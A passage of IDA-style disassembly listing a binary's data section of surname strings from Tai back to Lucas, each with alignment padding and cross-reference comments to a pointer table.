aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5DCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5D8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5D4o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D0o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5CCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5C4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5BCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5B8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5B4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5A8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5A4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E59Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E598o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E594o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E590o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E58Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E588o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E584o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E580o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E57Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E578o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E574o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E570o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E56Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E568o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E564o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E560o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E55Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E558o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E554o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E550o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E54Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E548o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E544o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E540o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E53Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E538o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E534o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E530o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E52Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E528o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E524o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E520o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E51Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E518o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E514o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E510o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E50Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E508o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E504o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E500o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E4F8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4F4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4ECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4E8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E0o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4DCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4D8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4D4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4CCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4C8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4C4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4BCo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4B8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4B4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4ACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4A4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E49Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E498o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E494o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E490o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E48Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E488o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E484o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E480o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E47Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E478o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E474o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E470o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E46Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E468o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E464o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E460o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E45Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E458o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E454o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E450o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E44Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E448o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E444o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E440o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E43Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E438o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E434o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E430o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E42Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E428o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E424o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E420o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E41Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E418o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E414o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E410o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E40Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E408o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E404o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E400o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E3FCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E3F8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3F4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3ECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3E8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3E4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E3D8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3D4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3CCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3C8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3C4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3BCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3B8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3ACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3A8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E39Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E398o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E394o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E390o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E38Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E388o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E384o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E380o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E37Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E378o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E374o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E370o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E36Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E368o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E364o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E360o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E35Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E358o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E354o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E350o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E34Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E348o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E344o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E340o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E33Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E338o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E334o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E330o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E32Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E328o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E324o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E320o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E31Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E318o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E314o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E310o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E30Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E308o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E304o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E300o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E2F8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2ECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2E8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2E4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2D8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2D4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2CCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2C8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2C4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2BCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2B8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2ACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2A8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E29Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E298o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E294o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E290o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E28Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E288o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E284o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E280o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E27Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E278o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E274o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E270o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E26Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E268o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E264o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E260o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E25Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E258o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E254o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E250o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E248o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E244o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E240o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E23Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E238o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E234o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E230o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E22Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E228o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E224o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E220o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E21Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E218o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E214o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E210o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E20Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E208o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E204o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E200o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E1F8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1F4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1ECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1E8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1E4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1DCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1D4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1CCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1C8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1C4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1BCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1B8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1B4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1ACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1A4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E19Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E198o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E194o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E190o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E18Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E188o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E184o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E180o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E17Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E178o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E174o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E170o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E16Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E168o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E164o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E160o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E15Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E158o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E154o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E150o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E14Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E148o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E144o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E140o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E13Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E138o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E134o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E130o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E12Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E128o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E124o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E120o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E11Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E118o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E114o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E110o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E10Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E108o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E104o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E100o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E0FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E0F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0C4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0B8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E09Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E098o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E094o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E090o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E08Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E088o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E084o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E080o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E078o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E074o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E070o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E06Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E068o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E064o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E060o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E05Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E058o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E054o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E050o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E04Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E048o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E044o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E040o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E03Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E038o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E034o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E030o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E02Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E028o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E024o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E020o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E01Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E018o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E014o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E010o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E00Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E008o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E004o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E000o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042DFFCo
		align 10h
